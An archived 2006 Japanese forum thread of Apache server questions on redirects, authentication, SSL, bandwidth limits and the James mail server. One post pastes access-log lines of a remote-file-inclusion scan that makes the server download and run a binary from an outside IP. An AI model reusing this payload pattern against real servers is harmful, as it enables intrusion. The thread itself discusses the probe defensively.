Apache統合スレ 8 (HTTPServer以外も含む)

このエントリーをはてなブックマークに追加
1DNS未登録さん
HTTP ServerだけでなくAntやTomcatなど以下のようなApache全般に関するスレだ!

Apache Software Foundation
http://www.apache.org/



HTTP Serverの最新Versionは
Apache/2.2.0
Apache/2.0.55
Apache/1.3.31
だ。




前スレ
Apache統合スレ 7【HTTPServer以外も含む】
http://pc8.2ch.net/test/read.cgi/mysv/1088866818/
Apache総合スレ 6
http://pc5.2ch.net/test/read.cgi/mysv/1084335973/
Apache総合スレ 5
http://pc5.2ch.net/test/read.cgi/mysv/1078763847/
Apache総合スレ 4
http://pc2.2ch.net/test/read.cgi/mysv/1069514378/
Apache総合スレ 3
http://pc2.2ch.net/test/read.cgi/mysv/1061501283/
【サーバ】Apache総合スレ 2 【バーサ】
http://pc2.2ch.net/test/read.cgi/mysv/1054463728/
【サーバ】Apache総合スレ【ウララー】
http://pc2.2ch.net/test/read.cgi/mysv/1044091546/
2DNS未登録さん:2006/01/04(水) 16:41:42 ID:GKy3khuu
訂正

HTTP Serverの最新Versionは
Apache/2.2.0
Apache/2.0.55
Apache/1.3.34
だ。

3DNS未登録さん:2006/01/04(水) 16:48:52 ID:GKy3khuu
Apache 初心者質問スレッド Part3
http://pc8.2ch.net/test/read.cgi/mysv/1125462033/
【Windows】Apache初心者質問スレ 3鯖目【専門】
http://pc8.2ch.net/test/read.cgi/mysv/1128473338/
【MacOSX】 Apache初心者質問スレ 【専門】
http://pc8.2ch.net/test/read.cgi/mysv/1113929632/

Apache〜嗜みとして〜 Part3
http://pc8.2ch.net/test/read.cgi/php/1043851302/
【Apache】mod_rewriteについて語るスレ
http://pc8.2ch.net/test/read.cgi/php/1023791370/


Apache関連 Part8
http://pc8.2ch.net/test/read.cgi/unix/1136360783/
4DNS未登録さん:2006/01/04(水) 17:45:24 ID:???
4まさ。1乙
5DNS未登録さん:2006/01/04(水) 19:00:30 ID:???
おつ。
6DNS未登録さん:2006/01/22(日) 23:31:14 ID:GniLifjG
全然書き込みねぇなww
7DNS未登録さん:2006/01/26(木) 13:36:07 ID:???
よく8まで続いたなぁ
粉飾スレッドか?
8DNS未登録さん:2006/01/26(木) 15:05:54 ID:???
自作自演なんて基本だし。
9DNS未登録さん:2006/01/28(土) 02:17:30 ID:???
オマエモナー
10DNS未登録さん:2006/01/28(土) 08:43:13 ID:???
一人何役もやるのは得意だしな。
11DNS未登録さん:2006/01/28(土) 14:56:24 ID:???
僕が君で、君が僕
12DNS未登録さん:2006/01/28(土) 19:19:04 ID:???
一人でやるのは4人までにしとけ。
5人以上を違和感無く演じるには才能が必要だ。
13DNS未登録さん:2006/01/28(土) 22:30:03 ID:???
結局人が来ない
14DNS未登録さん:2006/02/12(日) 20:28:48 ID:???
閑古鳥が鳴いてるスレはここでつか?
15DNS未登録さん:2006/02/14(火) 18:12:51 ID:???
いつの間に次スレができたんだ
16DNS未登録さん:2006/02/15(水) 12:11:51 ID:???
ネタ投下
17DNS未登録さん:2006/02/21(火) 09:36:45 ID:BRi4zPKa
接続ユーザー毎に、接続数ではなく、帯域で制限をかけるにはどのような方法がありますか?
18DNS未登録さん:2006/02/21(火) 10:01:00 ID:???
>>17
mod bandwidth
19DNS未登録さん:2006/02/21(火) 10:15:23 ID:???
17ではないが、俺も帯域で制限かけたいなあ。
サーバーにアクセスが殺到すると、ネットゲームに支障が出てくるんだよね(;^▽^)

mod_bandwidthってApache系だからなあ。
Apache2系対応のmod_bwを使ってみたんだけど、なんかおかしい。
必要以上に帯域が制限されたりする。うまく説明できないんだけど。
だから使ってない。

Apache2系でmod_bw以外に帯域制限モジュールないですか?
20DNS未登録さん:2006/02/22(水) 21:05:36 ID:RIQ8m/KQ
1. httpd.conf で 下記のような設定をします。
| <Directory />
| Options MultiViews
| AllowOverride All
| Redirect permanent /test/ http://www.2ch.net/
| </Directory>

2. ドキュメントルートディレクトリを、次のようなファイル名のファイルを配置します。
| test.html

3. http://サーバのIPアドレス/test/ にアクセスします。
| GET http://127.0.0.1/test/

すると、404 Not Found が表示されます。
本来 /test/ は http://www.2ch.net/ に転送されるはずなのに、
転送されません。

test.html を削除すると、正常に、http://www.2ch.net/ にリダイレクトされます。
これはApacheのバグでしょうか?

ご教示お願いします。
2120:2006/02/22(水) 21:06:37 ID:RIQ8m/KQ
環境は、
Apache: Apache HTTP Server 2.2.0
OS: Fedora Core 4
モジュール: 標準モジュール+php5_module

です。
22DNS未登録さん:2006/02/22(水) 21:18:10 ID:???
>>20
index 意味

これでググれ
2320:2006/02/22(水) 21:25:25 ID:???
>>22
すみません、ぐぐってみたけど解決しませんでした。
http://www.google.co.jp/search?hl=ja&q=index+%E6%84%8F%E5%91%B3+apache&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

DirectoryIndex でしたら、index.html index.cgi が指定されています。

/test/ ディレクトリはそもそも存在しませんし、
そこにインデックスファイルも勿論存在しません。

24DNS未登録さん:2006/02/22(水) 21:34:40 ID:???
test.html を index.html で保存してみろ
2520:2006/02/22(水) 21:47:39 ID:???
>>24
ありがとうございます。
test.html を index.html に変更するという意味でしょうか。
その名前変更をしたら正常に 2ch.net に飛びます。
hogehoge.html でも foo.html でも同じことです。
(testディレクトリは存在しません。)

Redirect permanent /test/ http://www.2ch.net/

先ほどから実験しているのですが、MultiViews と Redirect を組み合わせると色々な現象がおこるようです。

例えば、hoge.html というファイルを作成して、
Redirect permanent /hoge.html http://www.2ch.net/
として、http://myip/hoge にアクセスすると、404 エラーになります。

hogeというファイルを消せば正常に2chに飛びますが・・・。

ここらへんの挙動がわからないのでもうちょっと実験してみます。

26DNS未登録さん:2006/02/22(水) 21:50:45 ID:???
ファイル名 と ディレクトリ名 を勘違いしてないか
2720:2006/02/22(水) 21:51:59 ID:???
>>26
勘違いしていません。
ようするに、ファイル名と同じディレクトリ名を他のドメイン(別にドメイン同じでもいいけど・・・)に転送させる際の
予想外の動作について疑問に思っています。
2820:2006/02/22(水) 22:04:35 ID:???
分かりにくい表記だったので整理しますね。

まず、hoge.html という「ファイル」をサーバに転送します。(「hoge」というディレクトリはサーバ上に作成しません。)
Optionsでは何も指定しません。

h ttp://mydomain/hoge.html ・・・ 200 OK
h ttp://mydomain/hoge ・・・ 404 Not Found

ここまでは想定内の動作です。

Options +MultiViews を指定します。
h ttp://mydomain/hoge.html ・・・ 200 OK
h ttp://mydomain/hoge ・・・ 200 OK
h ttp://mydomain/hoge/ ・・・ 404 Not Found

ここまでも想定内の動作です。

次に
Redirect permanent /hoge.html h ttp://www.google.co.jp/ を指定します。
(上からの流れで設定を戻していません。つまり、Options +MultiViewsは設定されています。)

h ttp://mydomain/hoge.html ・・・ リダイレクト(想定内)
h ttp://mydomain/hoge ・・・ 404 Not Found(※想定外1)
h ttp://mydomain/hoge/ ・・・ 404 Not Found(想定内9

※想定外1
http://mydomain/hoge はリダイレクト設定となっていないので、404になるのが想定外です。
ただ、hoge.html はリダイレクトするファイル、つまり本来見られないファイルなので、
セキュリティ上このような動作になることは一応納得できます。

ここからが本題です。
さっき設定した、Redirect permanent /hoge.html h ttp://www.google.co.jp/ を「解除」します。
そして、Redirect permanent /hoge/ h ttp://www.google.co.jp/ を指定します。

すると、
h ttp://mydomain/hoge.html ・・・ 200 OK (想定内)
h ttp://mydomain/hoge ・・・ 200 OK (想定内)
h ttp://mydomain/hoge/ ・・・ 404 Not Found(※想定外2)

何故か、本来リダイレクトされるはずの、http://mydomain/hoge/ が 404 NotFound になるのです。
この想定外2となる理由が全く理解できません。

h ttp://mydomain/hoge/ は h ttp://www.google.co.jp/ にリダイレクトされるはずなのに・・・。
(hogeというディレクトリはサーバ上に存在しません。)


httpが多すぎます、とエラーがでたので、h ttp にします。
29DNS未登録さん:2006/02/22(水) 22:11:13 ID:???
     /\⌒ヽペタン
   /  /⌒)ノ ペタン  もちつけ
  ∧_∧ \ (( ∧_∧  もちつけ
 (; ´Д`))' ))(・∀・ ;)
 /  ⌒ノ ( ⌒ヽ⊂⌒ヽ
.(O   ノ ) ̄ ̄ ̄()__   )
 )_)_) (;;;;;;;;;;;;;;;;;;;)(_(
30DNS未登録さん:2006/02/22(水) 22:11:44 ID:???
        ∧∧  ミ _ ドスッ
        (   ,,)┌─┴┴─┐
       /   つ. ネタ禁止│
     〜′ /´ └─┬┬─┘
      ∪ ∪      ││ _ε3
               ゛゛'゛'゛
31DNS未登録さん:2006/02/22(水) 22:16:27 ID:???
>>28
もちついて自分の書いたこと見直せぃ。おかしいことに気づくから。
あるいはmod rewrite使え といって見るテスト。
3228:2006/02/22(水) 22:23:09 ID:???
>>31
落ち着いて見直してもやっぱり分からないんです。。。
3日前からずっと気になってて・・・。
長文で表記して申し訳ありませんでした。
単刀直入に書くとこうです。

Apacheの設定
| Options +MultiViews
| Redirect permanent /hoge/ http://www.google.co.jp/

ディレクトリ、ファイル構成
(hoge.html というファイルのみ。ディレクトリは存在しない。)
| /hoge.html

ブラウザでアクセスするURL
| http://mydomain.com/hoge/

結果
| 本来ならリダイレクトされてGoogleが表示されるはず。
| しかし、404 Not Found になってしまう。

どなたか何故、404 Errorになるのか教えて頂けないでしょうか。
33DNS未登録さん:2006/02/22(水) 22:25:57 ID:???
>>32
死ねよ
34DNS未登録さん:2006/02/22(水) 22:27:54 ID:???
>>33
荒らすなバカ
35DNS未登録さん:2006/02/22(水) 22:37:33 ID:???
>>32
漏れの環境でも再現しますた
でも考えたら混乱しちゃった_| ̄○
ごめんよぉ

推測だけど リダイレクトする→リダイレクト前のページは見れないわけで、
もしリダイレクト前のページが見られちゃいけないもんだったら情報漏洩になる
だからApacheは親切にディレクトリ指定でもリダイレクト時に同名のファイルとかを確認してるんじゃないの?
36DNS未登録さん:2006/02/22(水) 23:09:28 ID:???
>>34
死ねよ
37DNS未登録さん:2006/02/23(木) 09:30:57 ID:???
最初に「バグでしょうか」と言ってくるやつにまともな返事は付かない
38DNS未登録さん:2006/02/23(木) 14:44:44 ID:???
特定ディレクトリをBasic認証したんですが、
その配下のディレクトリは公開したいんです。
どのようにすればよいのでしょうか?
39DNS未登録さん:2006/02/23(木) 14:56:04 ID:???
似たような質問で恐縮です

特定ディレクトリをBasic認証したんですが、
特定のドメインからのアクセスの場合は
認証フリーとしたいのですが
どのようにすればよいのでしょうか?
40DNS未登録さん:2006/02/23(木) 15:09:03 ID:???
>>39ですが
もっとよく調べてたらわかったのでもういいです。

ついでに>>38の答もでたので教えます。
Basic認証の設定を.htaccessで行っている前提で
公開したいディレクトリにも.htaccessを置いて
その中にSatisfy Anyと一文を置けばよろしい
と思うよ。
4138:2006/02/23(木) 15:45:37 ID:???
>>40
できましたー
ありがとー
42DNS未登録さん:2006/02/23(木) 16:26:32 ID:???
>もういいです
すみませんね、スレのチェックが遅くて。
以後気をつけます。
43DNS未登録さん:2006/02/23(木) 16:56:42 ID:???
そ、そんなつもりはございません。

あなた様のような方のお手を煩わせ
ないようにお答え頂けなくとも
結構でございます。

・・・という意味です。
44DNS未登録さん:2006/02/23(木) 20:02:47 ID:DYv8Bn4t
質問です
Apache2.0+WebDAV+SSL上にある動画ファイルをWMで再生しようとしたところ
「セキュリティの問題が発生しました。」というエラーが出て再生出来ません。
WebDAV上のファイルを再生するにはローカルに一度ファイルを落とすしかないんでしょうか?
回答キボンヌ
45DNS未登録さん:2006/02/23(木) 20:34:48 ID:???
そのSSLの証明書は自己署名?
46DNS未登録さん:2006/02/24(金) 12:09:38 ID:fINOcQj5
OSはレッドハット・エンタープライズ
Apache2.0+SSLで証明書はセルフ
設定は以下を参考にし、バーチャルホストを設定(ssl.confにも設定)
ttp://www.stackasterisk.jp/tech/systemConstruction/apache09_03.jsp
/usr/local/apache2/bin/apachectl configtestを実行してもエラーは出ず
Syntax OK
当然ながら
/usr/local/apache2/bin/apachectl start は問題なし
ps -aux |grep apache で起動していることを確認

次に
/usr/local/apache2/bin/apachectl stop
/usr/local/apache2/bin/apachectl startssl
とした所Apache/2.0.XX mod_ssl/2.0.XX (Pass Phrase Dialog)云々を
聞かれずにすんなり通ります(パス無しで起動できるような設定にはしていません)
しかし ps -aux |grep apache で確認してもapacheは起動していません

原因が分かりません
他に必要な設定とかがあるのでしょうか?
47DNS未登録さん:2006/02/24(金) 12:27:17 ID:???
>ps -aux |grep apache
これは
ps -aux |grep httpd
48DNS未登録さん:2006/02/24(金) 12:28:05 ID:???
でも ps -ef じゃないの?
Linuxはどっちも受け付けるのかな
49DNS未登録さん:2006/02/24(金) 12:29:26 ID:???
エラーログ出て無いのかい
50DNS未登録さん:2006/02/24(金) 13:04:18 ID:fINOcQj5
>>47
どちらでも結果は同じでした

>>49
httpdログにはエラーは出ていませんでした
(見ている所がわるいのか???)
51DNS未登録さん:2006/02/24(金) 13:46:55 ID:???
コンソールのログも見たほうがいいよ
/var/log/message あたりか?
52DNS未登録さん:2006/02/24(金) 16:50:04 ID:fINOcQj5
>>51
確認しましたがそれらしいログはありませんでした

原因が最後まで分らなかったのが悔しい所ではありますが
とりあえず1からApacheをmakeしなおし、confファイルを
書き直した所動くようになりました
ありがとうございました
53DNS未登録さん:2006/02/24(金) 17:39:17 ID:???
>>37
実際バグでしょ。
54DNS未登録さん:2006/02/24(金) 18:27:16 ID:???
>>53
そんなことは問題じゃない
バグでしょうかと聞いてくるやつの大部分が本人のミスなので
そう聞いてくると、誰もまともに取り合わないんだよ。
55DNS未登録さん:2006/02/24(金) 18:28:47 ID:???
実際、オレも検証もしなけりゃソースも確認してない
そんな現象だったら、こっちで再現テストしてみるもんだが、
バグの文字があったらもう損な作業はしないでスルー
56DNS未登録さん:2006/02/25(土) 00:09:35 ID:???
謙虚さが大切ってことだな
57DNS未登録さん:2006/02/25(土) 00:44:30 ID:odxR+Mxj
はじめまして。質問があります。

Apache/2.0.52 (Fedora)、ユーザ=adminで運用しているのですが、
Perlで新規作成したファイルの所有者/グループがapacheになってしまいます。
PHPの場合はセーフモードによるものだと思いますが、perlの場合は
どうすればadmin権限でファイルを新規作成出来るようになるでしょうか?
http.confの User や Group はapacheになっています。
ただ単純にここに admin とした場合には何かまずい事が起こりますでしょうか?
それとこのサーバではPHP/Perl によるディレクトリの作成も出来ません・・。
かなりスクリプトを作る面で不便を感じております。

詳しい方、どうかよろしくご教示の程お願いいたします。
58DNS未登録さん:2006/02/25(土) 01:01:06 ID:zqM1V2nE
>>57
それは根本的には、人に聞くことじゃなくて自分で勉強することだと思う。
勉強すべきこと:Unix系OSのユーザー、グループ、パーミッションの概念。

いくつかヒント。
プロセスが新規生成するファイル・ディレクトリの所有者はそのプロセスのユーザーとなる。
そして、perlとかPHPとかは基本的にApacheと同じユーザーで動く。
ってことは、perlやPHPが生成するファイルの所有者は当然 httpd.confのUser/Groupになる。

PHPもperlも、モジュールで動かす場合はこれはどうしようもない。セーフモードは関係ない。
CGIとして動かす場合はsuexecってのがある。これを使えば、ApacheのユーザーとCGIのユーザーを分けられる。
具体的には自分で調べてくれ。
59DNS未登録さん:2006/02/26(日) 00:56:46 ID:wepVglIM
>>58
レスありがとうございます。
> それは根本的には、人に聞くことじゃなくて自分で勉強すること
仰るとおりですね・・頑張ります。
そしてヒントもありがとうございます。
おぼろげながら勘違いしていた点がわかりました。

今までレン鯖をいくつか借りてきてPerlでファイルを作っても自分が
所有者になっていたので、Perlとはそういうものだと思っていました。
mod_perl、わかっていなかったようです。

先日特定ファイルの所有者を変更しようとしてスーパーユーザでSSHログインして
chown -R admin:admin /* ( ./* の間違い)
とやってしまいました。
エラーがたくさん出てきてしまいました。

Windowsしか知らなかったので所有者などの管理がとても難しい壁のように思えて
しまっていたのも事実です。
これから頑張って勉強致します。
60DNS未登録さん:2006/03/04(土) 15:28:22 ID:GyYdmYQz
Apache Maven2超使い勝手がいいねえ

Apache Jamesっていいねえ

100% Pure Java メールサーバだもんね
61DNS未登録さん:2006/03/05(日) 13:30:01 ID:???
Jamesってそんなにいいの?
俺はPostfix派なんで使ったことないんだけど。
だってPure Javaったって、そのメリット使うサーバなんて限られてるし。
62DNS未登録さん:2006/03/07(火) 01:26:21 ID:5k9c2Rwt
Jamesってそんなにいいの?ってのは
Tomcatってそんなにいいの?ってのに似てると思う。

いいとか悪いとかいうよりJavaでMailetが書けるって以上でも以下でもないぞ、これ。
63DNS未登録さん:2006/03/07(火) 01:34:06 ID:???
JSP&サーブレットコンテナと、MTAを同一視するのは無理があるかと。
64DNS未登録さん:2006/03/09(木) 00:08:56 ID:???
apache2.0系でバーチャルホスト毎に接続数制限かける方法って何かありますか?
クライアントあたり(1IPあたり)の制限ではなくて、バーチャルホスト全体として。
バーチャルホスト毎にMaxClientsが設定できれば楽なんですけどね。
65DNS未登録さん:2006/03/09(木) 01:11:32 ID:334QyLnz
mod_bw

しかし弊害も大きい。
66DNS未登録さん:2006/03/09(木) 07:54:24 ID:???
jamesって強制オープンリレーだったりしないの?
結構ふつうに運用しても大丈夫なもんなの?
67DNS未登録さん:2006/03/10(金) 01:59:02 ID:???
>>65
弊害ありですか。どんなのだろう。
まぁ、ちょっと調べてみます。どうもでした。
68DNS未登録さん:2006/03/12(日) 12:20:16 ID:???
フリーウエブスペースなどで、一番上に自動的に広告を挿入するのがありますが、
あのような機能は何を使って実現しているのでしょうか?
69DNS未登録さん:2006/03/12(日) 14:11:03 ID:???
>>68
mod_layout
つか、過去ログくらい嫁。この手の質問いくつ出てきたことか。
70DNS未登録さん:2006/03/13(月) 07:47:33 ID:Q3Qnbt5V
ここ数日
apache.jp
にアクセスできない件
71DNS未登録さん:2006/03/13(月) 16:57:21 ID:OpROMoVI
本家サイトに日本語のマニュアルがあるからapache.jpは見てないな。
72DNS未登録さん:2006/03/13(月) 18:54:09 ID:7QbiSBsp
ここ1年ぐらいapache.jpや本家は見てないな
73DNS未登録さん:2006/03/13(月) 20:15:17 ID:LdWSht0M
質問です。
PHPプログラムをWebDAV経由でアップしたら文字化けするんですが、
これってどうすれば直るんですか?
回答キボーン
74DNS未登録さん:2006/03/13(月) 21:02:17 ID:S4EboMV3
WebDav全然知らないけど、WebDavは関係ない
75DNS未登録さん:2006/03/13(月) 21:29:40 ID:LdWSht0M
>>74
WebDAVは関係ないんですか?
それではなにか関係するんでしょう?
環境はApache2.0+PHP4です
回答お願いします
76DNS未登録さん:2006/03/13(月) 21:36:29 ID:???
PHPファイルをソースファイルとしてアップロードして、そしてダウンロードして、バイナリエディタでも使って比較しろ
77DNS未登録さん:2006/03/14(火) 12:51:34 ID:???
鯖の負荷を計測する方法をぐぐるためのキーワードを教えて下さい。
78DNS未登録さん:2006/03/14(火) 12:57:12 ID:???
>>77
自鯖の負荷が見たいだけなのか、負荷テストを行いたいのか、どっちだ?
79DNS未登録さん:2006/03/14(火) 13:42:23 ID:???
>>77
rrdtoolsとかHotSanicとかどうでしょう
80:2006/03/14(火) 14:04:41 ID:???
>>77
server-status,WAST,JMETER
81DNS未登録さん:2006/03/14(火) 17:06:41 ID:???
>>78
すみません。負荷テストの方でした。

>>79-80
負荷テストならWASTやJMETER、他のは状況ですね。
勉強になります。
どうもありがとうございました。
82DNS未登録さん:2006/03/29(水) 11:50:35 ID:D2+TmePt
Apacheのログにいくつか404を出して去っていくものがおるんですが、彼は一体何をしているんでしょうか?
83DNS未登録さん:2006/03/29(水) 13:00:31 ID:???
>>82
手当たり次第にセキュリティホールのあるcgi等を探してるんです。
urlはってみ?
84DNS未登録さん:2006/03/29(水) 14:32:47 ID:???
なるほどです。。orz
85DNS未登録さん:2006/03/29(水) 14:38:18 ID:???
>>83
長いですが、URLはこういう感じです。

202.69.164.91 "GET /webcalendar/tools/send_reminders.php?includedir=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 322
202.69.164.91 "GET /webcalendar/send_reminders.php?includedir=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 316
202.69.164.91 "GET /webcalendar/tools/send_reminders.phpsend_reminders.php?includedir=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 340
202.69.164.91 "GET /modules/PNphpBB2/includes/functions_admin.phpfunctions_admin.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 350
202.69.164.91 "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 331
202.69.164.91 "GET /modules/includes/functions_admin.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 322
202.69.164.91 "GET /PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 323
202.69.164.91 "GET /modules/Forums/admin/admin_styles.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 323
202.69.164.91 "GET /Forums/admin/admin_styles.php?phpbb_root_path=http://83.16.187.6/cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 315
86DNS未登録さん:2006/03/29(水) 14:39:32 ID:???
2chからリンクが貼られてしまった^^;
87DNS未登録さん:2006/03/29(水) 14:40:49 ID:???
晒してしまったけど、いいんだろうか^^;
88DNS未登録さん:2006/03/29(水) 14:42:28 ID:???
つながらないみたいだし、よくわかりません
89DNS未登録さん:2006/03/29(水) 14:55:19 ID:???
以前そのアドレスで自宅サーバで使ってたやつがアドレス変わったのに
そのアドレスで呼び出しただけだろ。
つながらないんであわててDDNSの設定を確認してるんじゃないかな
90DNS未登録さん:2006/03/29(水) 15:35:35 ID:???
普通に>>83だろ。
リモートのPHPコードを取り込んで実行できるPHPの糞仕様を突くやつ。
91DNS未登録さん:2006/03/30(木) 00:01:05 ID:???
>>89
平和なメルヘンの世界にお住みなんですね
92DNS未登録さん:2006/03/30(木) 12:56:03 ID:???
>>91
phpなんて使ってないからな
93DNS未登録さん:2006/03/30(木) 15:10:17 ID:???
釣れた(・∀・)!!
94DNS未登録さん:2006/07/24(月) 09:55:41 ID:cKsbeoYk
apache1.3 の mod_proxy_htmlは
どうやったら手に入れられるの?
95DNS未登録さん:2006/07/24(月) 10:44:39 ID:???
mod_proxy単体で全部入りじゃないの?
96DNS未登録さん:2006/07/24(月) 11:38:49 ID:cKsbeoYk
>>95
gifなどのリンクが切れているので
mod_proxy_htmlでURIを書き換える必要があると思ったのですが
違う原因でしょうか?
97DNS未登録さん:2006/07/24(月) 11:43:10 ID:???
リヴァースプロキシなのかフォアードプロキシなのか?
まずはそこから。
98DNS未登録さん:2006/07/24(月) 22:11:22 ID:lD8SgKWx
>>97
リヴァースプロキシです。
99DNS未登録さん:2006/07/24(月) 22:24:55 ID:???
とりあえずログだな。

あとProxyPassReverseあたりも関係あるかな?
100DNS未登録さん:2006/07/28(金) 11:35:10 ID:???
Apache 2.2.3 Released
Apache 2.0.59 Released
Apache 1.3.37 Released
キタ――(゚∀゚)――!!

ttp://httpd.apache.org/
101DNS未登録さん:2006/07/28(金) 19:56:12 ID:???
>>100
セキュリティホールの修正が含まれているらしいな。

(英文) this release includes an 'important' security fix for mod_rewrite.
(翻訳) このリリースは、"mod_rewrite" の "重要" なセキュリティホールの修正が含まれています。


102DNS未登録さん:2006/07/28(金) 19:56:45 ID:???
危険だから上げておく。
みんなアップデートしろよ。
103DNS未登録さん:2006/07/28(金) 20:33:28 ID:???
自分で設定ファイルにldap:で始まるものを使ってなければ問題ない。
注意しなけりゃいけないのは、誰か他人に使わせてて、.htaccessの使用を許可してる場合かな。


*) SECURITY: CVE-2006-3747 (cve.mitre.org)
mod_rewrite: Fix an off-by-one security problem in the ldap scheme
handling. For some RewriteRules this could lead to a pointer being
written out of bounds. Reported by Mark Dowd of McAfee.
[Mark Cox]


mod_rewrite: ldapスキームの扱いにおける数え間違いのセキュリティ問題を修正。
あるRewriteRulesによって、境界外の場所に書き込みをさせるようにポインターを変更できる可能性がある。
McAfeeの Mark Dowd が報告してくれた。
104DNS未登録さん:2006/07/28(金) 20:57:26 ID:???
>>103
それ本当?ソースコード見てみるとむしろldapスキーマのとき安全に見えるんだけど
(C初心者なんで自信ないけど)



if (!strncasecmp(uri, "ldap", 4)) {
char *token[5];
int c = 0;

token[0] = cp = apr_pstrdup(p, cp);
while (*cp && c < 4) {                  ←ここが c < 5 から変更された
if (*cp == '?') {
token[++c] = cp + 1;
*cp = '\0';
}
++cp;
}
105DNS未登録さん:2006/07/28(金) 21:10:25 ID:WvZX8KRB
正直、汚いコードだ
106DNS未登録さん:2006/07/28(金) 21:13:36 ID:???
/* _ _ _
* _ __ ___ ___ __| | _ __ _____ ___ __(_) |_ ___
* | '_ ` _ \ / _ \ / _` | | '__/ _ \ \ /\ / / '__| | __/ _ \
* | | | | | | (_) | (_| | | | | __/\ V V /| | | | || __/
* |_| |_| |_|\___/ \__,_|___|_| \___| \_/\_/ |_| |_|\__\___|
* |_____|

ワロタ
107DNS未登録さん:2006/07/30(日) 01:11:38 ID:jKHndS/q
apache2.2.3 for windowsを組み込もうとしているのですが、起動に失敗します。
nicが複数あってどれかを選択しろ的なメッセージが出て起動できません。
初心者的質問ですが、宜しくお願いいたします。
108DNS未登録さん:2006/07/30(日) 08:40:32 ID:???
設定ファイルをきちんとかけてないんだろう
http://httpd.apache.org/docs/2.2/mod/mpm_common.html#listen
109DNS未登録さん:2006/07/30(日) 19:57:45 ID:???
1.*系のwin版こねーけど、2.*に移行しろってこと?
110DNS未登録さん:2006/07/31(月) 22:39:02 ID:???
111DNS未登録さん:2006/08/01(火) 22:37:33 ID:???
>>110
おー!ありがとう!でも2.0に移行しちゃった!ありがとう!
112DNS未登録さん:2006/08/03(木) 21:24:22 ID:???
久しぶりにapacheでもインストールしてみるかーと、httpd 2.2.3を
./configure --enable-so
でビルドして、コンテントネゴシエーションが効かないのに1時間悩んだ。

apachectl -lしてみると、必要なモジュールは入ってるように見えるのだが・・・。
まあ勉強用にビルドしただけなので、--enable-mods-shared=mostとして
shared moduleにしたら解決したのでいいんだけど、正しい解決方法ってある?
113DNS未登録さん:2006/09/26(火) 20:57:48 ID:uGaqUu6N
JAMESで実装したMAILETの性能試験するのに良いツール無いですかね?

あと、>>66でも質問されていますが、JAMESってリレー対策というかSPAMの踏み台にされやすいとか無いでしょうか?
114DNS未登録さん:2006/09/28(木) 03:16:26 ID:CAbmtY5G
このスレでApacheとtuxを併用したLinux鯖構築されている方はどのくらい居ますか?
115DNS未登録さん:2006/09/28(木) 18:04:48 ID:DNMofH4F
Jamesとりあえず昔落とした2.1のデフォ設定ファイルしか無いけどチラ見する限り

root
・HOP数チェック→Null
・bondedsender.org(ホワイトリスト)→transport
・njabl.org(ブラックリスト)→spam
・ordb.org(ブラックリスト)→spam

transport
・受取人がJamesのユーザーか→LocalDelivery
・受取アドレスがローカルサーバーか(つまり存在しないユーザー)→error
・送信元が127.0.0.1じゃなかったら→spam

RemoteDelivery

となってるので少なくともデフォがオープンリレーってのはありえない。
見れば解るとおり、デフォでは送信はローカルサーバーからしかしない前提になってるので、
普通のメールサーバーとして使うために設定を弄って穴を作るのならありえるが。

っていうか、コマンドメールの処理に
プーリングされたデータソースが欲しいって以外に使う事ってあるのか?

とりあえずブラックリストにspamcopとrbl.jp入れとけばそこそこは使えるんだろうけど、
SpamAsassinとかClamAV連携させようとかSPF見ようとか考え出したらちょっと頭痛くなってくるんだが。
James3で(サポート環境が)もう少しまともになれば良いのだが。
116113:2006/09/28(木) 21:40:19 ID:???
>>115
検証ありがとうございます。
他に語れる人がいなくて不安だったのです。。。

仰るとおりなのですが、まさにそのメールの処理途中でDataSauceを使ったアプリを設計中なのですよ。
個人的に面白みも感じているので、もっと勉強します。

レスして頂いてありがとうございました。
117DNS未登録さん:2006/10/06(金) 07:06:26 ID:???
http://www.atmarkit.co.jp/flinux/rensai/apache09/apache09a.html に、次のような事が書かれています。

| コラム 「なりすまし」に注意
| いずれにしても注意しなければいけないのが、クライアントの「なりすまし」である。なりすましとはIPアドレスを偽る行為であり、これを行われてしまうと意図しない相手に対して正規のアクセスとしてコンテンツが提供されてしまう。
| 「なりすまし」を防ぐのは容易ではないから、IP認証とともにユーザー認証(次回解説)を併用することをお勧めする。さらに、今後紹介する予定のSSLも利用すれば、なりすましに対しても強靭なセキュリティ環境を構築できる。

「なりすましとはIPアドレスを偽る行為であり、これを行われてしまうと意図しない相手に対して正規のアクセスとしてコンテンツが提供されてしまう。」 とありますが、TCP/IP において、
IPアドレスを詐称できるのはどういった場合でしょうか?

通信経路が改ざんできる場合にはIPアドレスは詐称できるはずですが、(例えば A社とB社を結ぶ回線の途中を切断して機器を取り付ければ、
A社に対して自分はB社であると主張してB社のIPアドレスで通信することができる)それ以外の場合にはIPアドレスの詐称はできないですよね。

この、IPアドレスの詐称のリスクというのは、SSLなどの暗号化を使っていないHTTP通信の送受信内容が傍受されるリスクと同等ということでしょうか?
118DNS未登録さん:2006/10/07(土) 05:08:09 ID:kVdcN0bh
